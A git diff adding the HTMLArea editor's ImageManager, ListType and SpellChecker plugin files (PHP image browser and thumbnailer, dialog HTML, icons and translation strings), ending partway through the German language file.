+<script type="text/javascript" src="assets/dialog.js"></script>
+<script type="text/javascript">
+/*<![CDATA[*/
+
+       if(window.top)
+               I18N = window.top.I18N;
+
+       function hideMessage()
+       {
+               var topDoc = window.top.document;
+               var messages = topDoc.getElementById('messages');
+               if(messages)
+                       messages.style.display = "none";
+       }
+
+       init = function()
+       {
+               hideMessage();
+               var topDoc = window.top.document;
+
+<? 
+       //we need to refesh the drop directory list
+       //save the current dir, delete all select options
+       //add the new list, re-select the saved dir.
+       if($refreshDir) 
+       { 
+               $dirs = $manager->getDirs();
+?>
+               var selection = topDoc.getElementById('dirPath');
+               var currentDir = selection.options[selection.selectedIndex].text;
+
+               while(selection.length > 0)
+               {       selection.remove(0); }
+               
+               selection.options[selection.length] = new Option("/","<? echo rawurlencode('/'); ?>");  
+               <? foreach($dirs as $relative=>$fullpath) { ?>
+               selection.options[selection.length] = new Option("<? echo $relative; ?>","<? echo rawurlencode($relative); ?>");                
+               <? } ?>
+               
+               for(var i = 0; i < selection.length; i++)
+               {
+                       var thisDir = selection.options[i].text;
+                       if(thisDir == currentDir)
+                       {
+                               selection.selectedIndex = i;
+                               break;
+                       }
+               }               
+<? } ?>
+       }       
+
+       function editImage(image) 
+       {
+               var url = "editor.php?img="+image;
+               Dialog(url, function(param) 
+               {
+                       if (!param) // user must have pressed Cancel
+                               return false;
+                       else
+                       {
+                               return true;
+                       }
+               }, null);               
+       }
+
+/*]]>*/
+</script>
+<script type="text/javascript" src="assets/images.js"></script>
+</head>
+
+<body>
+<? if ($manager->isValidBase() == false) { drawErrorBase($manager); } 
+       elseif(count($list[0]) > 0 || count($list[1]) > 0) { ?>
+<table>
+       <tr>
+       <? drawDirs($list[0], $manager); ?>
+       <? drawFiles($list[1], $manager); ?>
+       </tr>
+</table>
+<? } else { drawNoResults(); } ?>
+</body>
+</html>
diff --git a/admin/htmlarea/plugins/ImageManager/img/2x2.gif b/admin/htmlarea/plugins/ImageManager/img/2x2.gif
new file mode 100755 (executable)
index 0000000..2f2ec4a
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/2x2.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/2x2_w.gif b/admin/htmlarea/plugins/ImageManager/img/2x2_w.gif
new file mode 100755 (executable)
index 0000000..9b560a8
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/2x2_w.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/btnFolderNew.gif b/admin/htmlarea/plugins/ImageManager/img/btnFolderNew.gif
new file mode 100755 (executable)
index 0000000..0c2073b
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/btnFolderNew.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/btnFolderUp.gif b/admin/htmlarea/plugins/ImageManager/img/btnFolderUp.gif
new file mode 100755 (executable)
index 0000000..7bd245d
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/btnFolderUp.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/btn_cancel.gif b/admin/htmlarea/plugins/ImageManager/img/btn_cancel.gif
new file mode 100755 (executable)
index 0000000..cf59af7
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/btn_cancel.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/btn_ok.gif b/admin/htmlarea/plugins/ImageManager/img/btn_ok.gif
new file mode 100755 (executable)
index 0000000..eb568d8
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/btn_ok.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/crop.gif b/admin/htmlarea/plugins/ImageManager/img/crop.gif
new file mode 100755 (executable)
index 0000000..729dc70
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/crop.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/default.gif b/admin/htmlarea/plugins/ImageManager/img/default.gif
new file mode 100755 (executable)
index 0000000..704197f
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/default.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/div.gif b/admin/htmlarea/plugins/ImageManager/img/div.gif
new file mode 100755 (executable)
index 0000000..b9940cb
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/div.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/dots.gif b/admin/htmlarea/plugins/ImageManager/img/dots.gif
new file mode 100755 (executable)
index 0000000..859294e
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/dots.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/edit_active.gif b/admin/htmlarea/plugins/ImageManager/img/edit_active.gif
new file mode 100755 (executable)
index 0000000..35ecf14
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/edit_active.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/edit_pencil.gif b/admin/htmlarea/plugins/ImageManager/img/edit_pencil.gif
new file mode 100755 (executable)
index 0000000..abb9fe4
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/edit_pencil.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/edit_trash.gif b/admin/htmlarea/plugins/ImageManager/img/edit_trash.gif
new file mode 100755 (executable)
index 0000000..beac141
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/edit_trash.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/folder.gif b/admin/htmlarea/plugins/ImageManager/img/folder.gif
new file mode 100755 (executable)
index 0000000..180ea1c
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/folder.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/hand.gif b/admin/htmlarea/plugins/ImageManager/img/hand.gif
new file mode 100755 (executable)
index 0000000..0fcb538
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/hand.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/islocked2.gif b/admin/htmlarea/plugins/ImageManager/img/islocked2.gif
new file mode 100755 (executable)
index 0000000..1dfd2ec
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/islocked2.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/locked.gif b/admin/htmlarea/plugins/ImageManager/img/locked.gif
new file mode 100755 (executable)
index 0000000..854f1b8
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/locked.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/measure.gif b/admin/htmlarea/plugins/ImageManager/img/measure.gif
new file mode 100755 (executable)
index 0000000..6d7b0fd
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/measure.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/noimages.gif b/admin/htmlarea/plugins/ImageManager/img/noimages.gif
new file mode 100755 (executable)
index 0000000..3014d94
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/noimages.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/rotate.gif b/admin/htmlarea/plugins/ImageManager/img/rotate.gif
new file mode 100755 (executable)
index 0000000..f1ece0b
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/rotate.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/save.gif b/admin/htmlarea/plugins/ImageManager/img/save.gif
new file mode 100755 (executable)
index 0000000..be88461
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/save.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/scale.gif b/admin/htmlarea/plugins/ImageManager/img/scale.gif
new file mode 100755 (executable)
index 0000000..4308977
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/scale.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/spacer.gif b/admin/htmlarea/plugins/ImageManager/img/spacer.gif
new file mode 100755 (executable)
index 0000000..fc25609
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/spacer.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/t_black.gif b/admin/htmlarea/plugins/ImageManager/img/t_black.gif
new file mode 100755 (executable)
index 0000000..28364be
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/t_black.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/t_white.gif b/admin/htmlarea/plugins/ImageManager/img/t_white.gif
new file mode 100755 (executable)
index 0000000..792f8bf
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/t_white.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/unlocked.gif b/admin/htmlarea/plugins/ImageManager/img/unlocked.gif
new file mode 100755 (executable)
index 0000000..fe4e0d4
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/unlocked.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/img/unlocked2.gif b/admin/htmlarea/plugins/ImageManager/img/unlocked2.gif
new file mode 100755 (executable)
index 0000000..496c2f8
Binary files /dev/null and b/admin/htmlarea/plugins/ImageManager/img/unlocked2.gif differ
diff --git a/admin/htmlarea/plugins/ImageManager/lang/en.js b/admin/htmlarea/plugins/ImageManager/lang/en.js
new file mode 100755 (executable)
index 0000000..ba261c9
--- /dev/null
@@ -0,0 +1,22 @@
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Xiang Wei Zhuo, http://www.zhuo.org
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+ImageManager.I18N = {
+       "Image Manager"                                                                 : "Image Manager",
+       "Crop"                                                                                  : "Crop"
+};
+/*
+
+
+*/
\ No newline at end of file
diff --git a/admin/htmlarea/plugins/ImageManager/manager.php b/admin/htmlarea/plugins/ImageManager/manager.php
new file mode 100755 (executable)
index 0000000..b8845f4
--- /dev/null
@@ -0,0 +1,129 @@
+<?
+/**
+ * The main GUI for the ImageManager.
+ * @author $Author: cscott $
+ * @version $Id: manager.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+       require_once('config.inc.php');
+       require_once('Classes/ImageManager.php');
+       
+       $manager = new ImageManager($IMConfig);
+       $dirs = $manager->getDirs();
+
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<html>
+<head>
+       <title>Insert Image</title>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <link href="assets/manager.css" rel="stylesheet" type="text/css" />   
+<script type="text/javascript" src="assets/popup.js"></script>
+<script type="text/javascript" src="assets/dialog.js"></script>
+<script type="text/javascript">
+/*<![CDATA[*/
+       window.resizeTo(600, 460);
+
+       if(window.opener)
+               I18N = window.opener.ImageManager.I18N;
+
+       var thumbdir = "<? echo $IMConfig['thumbnail_dir']; ?>";
+       var base_url = "<? echo $manager->getBaseURL(); ?>";
+/*]]>*/
+</script>
+<script type="text/javascript" src="assets/manager.js"></script>
+</head>
+<body>
+<div class="title">Insert Image</div>
+<form action="images.php" id="uploadForm" method="post" enctype="multipart/form-data">
+<fieldset><legend>Image Manager</legend>
+<div class="dirs">
+       <label for="dirPath">Directory</label>
+       <select name="dir" class="dirWidth" id="dirPath" onchange="updateDir(this)">
+       <option value="/">/</option>
+<? foreach($dirs as $relative=>$fullpath) { ?>
+               <option value="<? echo rawurlencode($relative); ?>"><? echo $relative; ?></option>
+<? } ?>
+       </select>
+       <a href="#" onclick="javascript: goUpDir();" title="Directory Up"><img src="img/btnFolderUp.gif" height="15" width="15" alt="Directory Up" /></a>
+<? if($IMConfig['safe_mode'] == false && $IMConfig['allow_new_dir']) { ?>
+       <a href="#" onclick="newFolder();" title="New Folder"><img src="img/btnFolderNew.gif" height="15" width="15" alt="New Folder" /></a>
+<? } ?>
+       <div id="messages" style="display: none;"><span id="message"></span><img SRC="img/dots.gif" width="22" height="12" alt="..." /></div>
+       <iframe src="images.php" name="imgManager" id="imgManager" class="imageFrame" scrolling="auto" title="Image Selection" frameborder="0"></iframe>
+</div>
+</fieldset>
+<!-- image properties -->
+       <table class="inputTable">
+               <tr>
+                       <td align="right"><label for="f_url">Image File</label></td>
+                       <td><input type="text" id="f_url" class="largelWidth" value="" /></td>
+                       <td rowspan="3" align="right">&nbsp;</td>
+                       <td align="right"><label for="f_width">Width</label></td>
+                       <td><input type="text" id="f_width" class="smallWidth" value="" onchange="javascript:checkConstrains('width');"/></td>
+                       <td rowspan="2" align="right"><img src="img/locked.gif" id="imgLock" width="25" height="32" alt="Constrained Proportions" /></td>
+                       <td rowspan="3" align="right">&nbsp;</td>
+                       <td align="right"><label for="f_vert">V Space</label></td>
+                       <td><input type="text" id="f_vert" class="smallWidth" value="" /></td>
+               </tr>           
+               <tr>
+                       <td align="right"><label for="f_alt">Alt</label></td>
+                       <td><input type="text" id="f_alt" class="largelWidth" value="" /></td>
+                       <td align="right"><label for="f_height">Height</label></td>
+                       <td><input type="text" id="f_height" class="smallWidth" value="" onchange="javascript:checkConstrains('height');"/></td>
+                       <td align="right"><label for="f_horiz">H Space</label></td>
+                       <td><input type="text" id="f_horiz" class="smallWidth" value="" /></td>
+               </tr>
+               <tr>
+<? if($IMConfig['allow_upload'] == true) { ?>
+                       <td align="right"><label for="upload">Upload</label></td>
+                       <td>
+                               <table cellpadding="0" cellspacing="0" border="0">
+                  <tr>
+                    <td><input type="file" name="upload" id="upload"/></td>
+                    <td>&nbsp;<button type="submit" name="submit" onclick="doUpload();"/>Upload</button></td>
+                  </tr>
+                </table>
+                       </td>
+<? } else { ?>
+                       <td colspan="2"></td>
+<? } ?>
+                       <td align="right"><label for="f_align">Align</label></td>
+                       <td colspan="2">
+                               <select size="1" id="f_align"  title="Positioning of this image">
+                                 <option value=""                             >Not Set</option>
+                                 <option value="left"                         >Left</option>
+                                 <option value="right"                        >Right</option>
+                                 <option value="texttop"                      >Texttop</option>
+                                 <option value="absmiddle" selected="selected" >Absmiddle</option>
+                                 <option value="baseline" >Baseline</option>
+                                 <option value="absbottom"                    >Absbottom</option>
+                                 <option value="bottom"                       >Bottom</option>
+                                 <option value="middle"                       >Middle</option>
+                                 <option value="top"                          >Top</option>
+                               </select>
+                       </td>
+                       <td align="right"><label for="f_border">Border</label></td>
+                       <td><input type="text" id="f_border" class="smallWidth" value="" /></td>
+               </tr>
+               <tr> 
+         <td colspan="4" align="right">
+                               <input type="hidden" id="orginal_width" />
+                               <input type="hidden" id="orginal_height" />
+            <input type="checkbox" id="constrain_prop" checked="checked" onclick="javascript:toggleConstrains(this);" />
+          </td>
+          <td colspan="5"><label for="constrain_prop">Constrain Proportions</label></td>
+      </tr>
+       </table>
+<!--// image properties -->    
+       <div style="text-align: right;"> 
+          <hr />
+                 <button type="button" class="buttons" onclick="return refresh();">Refresh</button>
+          <button type="button" class="buttons" onclick="return onOK();">OK</button>
+          <button type="button" class="buttons" onclick="return onCancel();">Cancel</button>
+    </div>
+</form>
+</body>
+</html>
diff --git a/admin/htmlarea/plugins/ImageManager/newFolder.html b/admin/htmlarea/plugins/ImageManager/newFolder.html
new file mode 100755 (executable)
index 0000000..bd0d486
--- /dev/null
@@ -0,0 +1,78 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head>
+<title>New Folder</title>
+ <style type="text/css">
+ /*<![CDATA[*/
+ html, body {  background-color: ButtonFace;  color: ButtonText; font: 11px Tahoma,Verdana,sans-serif; margin: 0; padding: 0;}
+body { padding: 5px; }
+ .title { background-color: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px; border-bottom: 1px  solid black; letter-spacing: 2px;}
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+.buttons { width: 70px; text-align: center; }
+form { padding: 0px;  margin: 0;}
+form .elements{
+       padding: 10px; text-align: center;
+}
+ /*]]>*/
+ </style>
+<script type="text/javascript" src="assets/popup.js"></script>
+<script type="text/javascript">
+/*<![CDATA[*/
+       window.resizeTo(300, 160);
+
+       if(window.opener)
+               I18N = window.opener.I18N;
+
+       init = function () 
+       {
+               __dlg_init();
+               __dlg_translate(I18N);
+               document.getElementById("f_foldername").focus();
+       }
+
+       function onCancel() 
+       {
+               __dlg_close(null);
+               return false;
+       }
+
+       function onOK() 
+       {
+                // pass data back to the calling window
+         var fields = ["f_foldername"];
+         var param = new Object();
+         for (var i in fields) {
+               var id = fields[i];
+               var el = document.getElementById(id);
+               param[id] = el.value;
+         }
+         __dlg_close(param);
+         return false;
+       }
+
+       function addEvent(obj, evType, fn)
+       { 
+               if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+               else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+               else {  return false; } 
+       } 
+       
+       addEvent(window, 'load', init);
+//-->
+</script>
+</head>
+<body >
+<div class="title">New Folder</div>
+<form action="">
+<div class="elements">
+       <label for="f_foldername">Folder Name:</label>
+       <input type="text" id="f_foldername" />
+</div>
+<div style="text-align: right;"> 
+         <hr />
+         <button type="button" class="buttons" onclick="return onOK();">OK</button>
+         <button type="button" class="buttons" onclick="return onCancel();">Cancel</button>
+</div>
+</form>
+</body>
+</html>
\ No newline at end of file
diff --git a/admin/htmlarea/plugins/ImageManager/thumbs.php b/admin/htmlarea/plugins/ImageManager/thumbs.php
new file mode 100755 (executable)
index 0000000..2e13bfb
--- /dev/null
@@ -0,0 +1,82 @@
+<?
+/**
+ * On the fly Thumbnail generation.
+ * Creates thumbnails given by thumbs.php?img=/relative/path/to/image.jpg
+ * relative to the base_dir given in config.inc.php
+ * @author $Author: cscott $
+ * @version $Id: thumbs.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+require_once('config.inc.php');
+require_once('Classes/ImageManager.php');
+require_once('Classes/Thumbnail.php');
+
+//check for img parameter in the url
+if(!isset($_GET['img']))
+       exit();
+
+
+$manager = new ImageManager($IMConfig);
+
+//get the image and the full path to the image
+$image = rawurldecode($_GET['img']);
+$fullpath = Files::makeFile($manager->getBaseDir(),$image);
+
+//not a file, so exit
+if(!is_file($fullpath))
+       exit();
+
+$imgInfo = @getImageSize($fullpath);
+
+//Not an image, send default thumbnail
+if(!is_array($imgInfo))
+{
+       //show the default image, otherwise we quit!
+       $default = $manager->getDefaultThumb();
+       if($default)
+       {
+               header('Location: '.$default);
+               exit();
+       }
+}
+//if the image is less than the thumbnail dimensions
+//send the original image as thumbnail
+if ($imgInfo[0] <= $IMConfig['thumbnail_width']
+ && $imgInfo[1] <= $IMConfig['thumbnail_height'])
+ {
+        header('Location: '.$manager->getFileURL($image));
+        exit();
+ }
+
+//Check for thumbnails
+$thumbnail = $manager->getThumbName($fullpath);
+if(is_file($thumbnail))
+{
+       //if the thumbnail is newer, send it
+       if(filemtime($thumbnail) >= filemtime($fullpath))
+       {
+               header('Location: '.$manager->getThumbURL($image));
+               exit();
+       }
+}
+
+//creating thumbnails
+$thumbnailer = new Thumbnail($IMConfig['thumbnail_width'],$IMConfig['thumbnail_height']);
+$thumbnailer->createThumbnail($fullpath, $thumbnail);
+
+//Check for NEW thumbnails
+if(is_file($thumbnail))
+{
+       //send the new thumbnail
+       header('Location: '.$manager->getThumbURL($image));
+       exit();
+}
+else
+{
+       //show the default image, otherwise we quit!
+       $default = $manager->getDefaultThumb();
+       if($default)
+               header('Location: '.$default);
+}
+?>
\ No newline at end of file
diff --git a/admin/htmlarea/plugins/ListType/lang/en.js b/admin/htmlarea/plugins/ListType/lang/en.js
new file mode 100755 (executable)
index 0000000..f042f61
--- /dev/null
@@ -0,0 +1,23 @@
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+ListType.I18N = {
+       "Decimal"                :    "Decimal numbers",
+       "Lower roman"            :    "Lower roman numbers",
+       "Upper roman"            :    "Upper roman numbers",
+       "Lower latin"            :    "Lower latin letters",
+       "Upper latin"            :    "Upper latin letters",
+       "Lower greek"            :    "Lower greek letters",
+       "ListStyleTooltip"       :    "Choose list style type (for ordered lists)"
+};
diff --git a/admin/htmlarea/plugins/ListType/lang/makefile.xml b/admin/htmlarea/plugins/ListType/lang/makefile.xml
new file mode 100755 (executable)
index 0000000..eed81b0
--- /dev/null
@@ -0,0 +1,3 @@
+<files>
+  <file name="*.js" />
+</files>
diff --git a/admin/htmlarea/plugins/ListType/list-type.js b/admin/htmlarea/plugins/ListType/list-type.js
new file mode 100755 (executable)
index 0000000..63835be
--- /dev/null
@@ -0,0 +1,89 @@
+// ListType Plugin for HTMLArea-3.0
+// Sponsored by MEdTech Unit - Queen's University
+// Implementation by Mihai Bazon, http://dynarch.com/mishoo/
+//
+// (c) dynarch.com 2003.
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+//
+// $Id: list-type.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+
+function ListType(editor) {
+       this.editor = editor;
+       var cfg = editor.config;
+       var toolbar = cfg.toolbar;
+       var self = this;
+       var i18n = ListType.I18N;
+       var options = {};
+       options[i18n["Decimal"]] = "decimal";
+       options[i18n["Lower roman"]] = "lower-roman";
+       options[i18n["Upper roman"]] = "upper-roman";
+       options[i18n["Lower latin"]] = "lower-alpha";
+       options[i18n["Upper latin"]] = "upper-alpha";
+       if (!HTMLArea.is_ie)
+               // IE doesn't support this property; even worse, it complains
+               // with a gross error message when we tried to select it,
+               // therefore let's hide it from the damn "browser".
+               options[i18n["Lower greek"]] = "lower-greek";
+       var obj = {
+               id            : "ListType",
+               tooltip       : i18n["ListStyleTooltip"],
+               options       : options,
+               action        : function(editor) { self.onSelect(editor, this); },
+               refresh       : function(editor) { self.updateValue(editor, this); },
+               context       : "ol"
+       };
+       cfg.registerDropdown(obj);
+       var a, i, j, found = false;
+       for (i = 0; !found && i < toolbar.length; ++i) {
+               a = toolbar[i];
+               for (j = 0; j < a.length; ++j) {
+                       if (a[j] == "unorderedlist") {
+                               found = true;
+                               break;
+                       }
+               }
+       }
+       if (found)
+               a.splice(j, 0, "space", "ListType", "space");
+};
+
+ListType._pluginInfo = {
+       name          : "ListType",
+       version       : "1.0",
+       developer     : "Mihai Bazon",
+       developer_url : "http://dynarch.com/mishoo/",
+       c_owner       : "dynarch.com",
+       sponsor       : "MEdTech Unit - Queen's University",
+       sponsor_url   : "http://www.queensu.ca/",
+       license       : "htmlArea"
+};
+
+ListType.prototype.onSelect = function(editor, combo) {
+       var tbobj = editor._toolbarObjects[combo.id].element;
+       var parent = editor.getParentElement();
+       while (!/^ol$/i.test(parent.tagName)) {
+               parent = parent.parentNode;
+       }
+       parent.style.listStyleType = tbobj.value;
+};
+
+ListType.prototype.updateValue = function(editor, combo) {
+       var tbobj = editor._toolbarObjects[combo.id].element;
+       var parent = editor.getParentElement();
+       while (parent && !/^ol$/i.test(parent.tagName)) {
+               parent = parent.parentNode;
+       }
+       if (!parent) {
+               tbobj.selectedIndex = 0;
+               return;
+       }
+       var type = parent.style.listStyleType;
+       if (!type) {
+               tbobj.selectedIndex = 0;
+       } else {
+               for (var i = tbobj.firstChild; i; i = i.nextSibling) {
+                       i.selected = (type.indexOf(i.value) != -1);
+               }
+       }
+};
diff --git a/admin/htmlarea/plugins/ListType/makefile.xml b/admin/htmlarea/plugins/ListType/makefile.xml
new file mode 100755 (executable)
index 0000000..2b0e7aa
--- /dev/null
@@ -0,0 +1,6 @@
+<files>
+  <file name="*.{js,html,cgi,css}" />
+
+  <dir name="lang" />
+</files>
+
diff --git a/admin/htmlarea/plugins/SpellChecker/img/he-spell-check.gif b/admin/htmlarea/plugins/SpellChecker/img/he-spell-check.gif
new file mode 100755 (executable)
index 0000000..a9ddac9
Binary files /dev/null and b/admin/htmlarea/plugins/SpellChecker/img/he-spell-check.gif differ
diff --git a/admin/htmlarea/plugins/SpellChecker/img/makefile.xml b/admin/htmlarea/plugins/SpellChecker/img/makefile.xml
new file mode 100755 (executable)
index 0000000..b25815d
--- /dev/null
@@ -0,0 +1,3 @@
+<files>
+  <file name="*.{gif,jpg,jpeg}" />
+</files>
diff --git a/admin/htmlarea/plugins/SpellChecker/img/spell-check.gif b/admin/htmlarea/plugins/SpellChecker/img/spell-check.gif
new file mode 100755 (executable)
index 0000000..650cd19
Binary files /dev/null and b/admin/htmlarea/plugins/SpellChecker/img/spell-check.gif differ
diff --git a/admin/htmlarea/plugins/SpellChecker/lang/cz.js b/admin/htmlarea/plugins/SpellChecker/lang/cz.js
new file mode 100755 (executable)
index 0000000..7bd7f66
--- /dev/null
@@ -0,0 +1,37 @@
+// I18N constants\r\r
+\r\r
+// LANG: "cz", ENCODING: UTF-8 | ISO-8859-2\r\r
+// Author: Jiri Löw, <jirilow@jirilow.com>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+//      (at least a valid email address)\r\r
+//\r\r
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+//      (if this is not possible, please include a comment\r\r
+//       that states what encoding is necessary.)\r\r
+\r\r
+SpellChecker.I18N = {\r\r
+       "CONFIRM_LINK_CLICK"                    : "Prosím potvrďte otevření tohoto odkazu",\r\r
+       "Cancel"                                : "Zrušit",\r\r
+       "Dictionary"                            : "Slovník",\r\r
+       "Finished list of mispelled words"      : "Dokončen seznam chybných slov",\r\r
+       "I will open it in a new page."         : "Bude otevřen jej v nové stránce.",\r\r
+       "Ignore all"                            : "Ignorovat vše",\r\r
+       "Ignore"                                : "Ignorovat",\r\r
+       "NO_ERRORS"                             : "Podle zvoleného slovníku nebyla nalezena žádná chybná slova.",\r\r
+       "NO_ERRORS_CLOSING"                     : "Kontrola správnosti slov dokončena, nebyla nalezena žádná chybná slova. Ukončování ...",\r\r
+       "OK"                                    : "OK",\r\r
+       "Original word"                         : "Původní slovo",\r\r
+       "Please wait.  Calling spell checker."  : "Prosím čekejte. Komunikuace s kontrolou správnosti slov.",\r\r
+       "Please wait: changing dictionary to"   : "Prosím čekejte: změna adresáře na",\r\r
+       "QUIT_CONFIRMATION"                     : "Změny budou zrušeny a kontrola správnosti slov ukončena. Prosím potvrďte.",\r\r
+       "Re-check"                              : "Překontrolovat",\r\r
+       "Replace all"                           : "Zaměnit všechno",\r\r
+       "Replace with"                          : "Zaměnit za",\r\r
+       "Replace"                               : "Zaměnit",\r\r
+       "SC-spell-check"                        : "Kontrola správnosti slov",\r\r
+       "Suggestions"                           : "Doporučení",\r\r
+       "pliz weit ;-)"                         : "strpení prosím ;-)"\r\r
+};\r\r
diff --git a/admin/htmlarea/plugins/SpellChecker/lang/da.js b/admin/htmlarea/plugins/SpellChecker/lang/da.js
new file mode 100755 (executable)
index 0000000..690293e
--- /dev/null
@@ -0,0 +1,37 @@
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Steen Sønderup, <steen@soenderup.com>
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+SpellChecker.I18N = {
+       "CONFIRM_LINK_CLICK"                    : "Vil du følge dette link?",
+       "Cancel"                                : "Anuler",
+       "Dictionary"                            : "Ordbog",
+       "Finished list of mispelled words"      : "Listen med stavefejl er gennemgået",
+       "I will open it in a new page."         : "Jeg vil åbne det i en ny side.",
+       "Ignore all"                            : "Ignorer alle",
+       "Ignore"                                : "Ignorer",
+       "NO_ERRORS"                             : "Der blev ikke fundet nogle stavefejl med den valgte ordbog.",
+       "NO_ERRORS_CLOSING"                     : "Stavekontrollen er gennemført, der blev ikke fundet nogle stavefejl.  Lukker...",
+       "OK"                                    : "OK",
+       "Original word"                         : "Oprindeligt ord",
+       "Please wait.  Calling spell checker."  : "Vent venligst.  Henter stavekontrol.",
+       "Please wait: changing dictionary to"   : "Vent venligst: skifter ordbog til",
+       "QUIT_CONFIRMATION"                     : "Alle dine ændringer vil gå tabt, vil du fortsætte?",
+       "Re-check"                              : "Tjek igen",
+       "Replace all"                           : "Erstat alle",
+       "Replace with"                          : "Erstat med",
+       "Replace"                               : "Erstat",
+       "SC-spell-check"                        : "Stavekontrol",
+       "Suggestions"                           : "Forslag",
+       "pliz weit ;-)"                         : "Vent venligst"
+};
diff --git a/admin/htmlarea/plugins/SpellChecker/lang/de.js b/admin/htmlarea/plugins/SpellChecker/lang/de.js
new file mode 100755 (executable)
index 0000000..1a8f4b5
--- /dev/null
@@ -0,0 +1,28 @@
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Broxx, <broxx@broxx.com>
+
+SpellChecker.I18N = {
+       "CONFIRM_LINK_CLICK"                    : "Wollen Sie diesen Link oeffnen",
+       "Cancel"                                : "Abbrechen",
+       "Dictionary"                            : "Woerterbuch",
+       "Finished list of mispelled words"      : "Liste der nicht bekannten Woerter",
+       "I will open it in a new page."         : "Wird auf neuer Seite geoeffnet",
+       "Ignore all"                            : "Alle ignorieren",
+       "Ignore"                                : "Ignorieren",
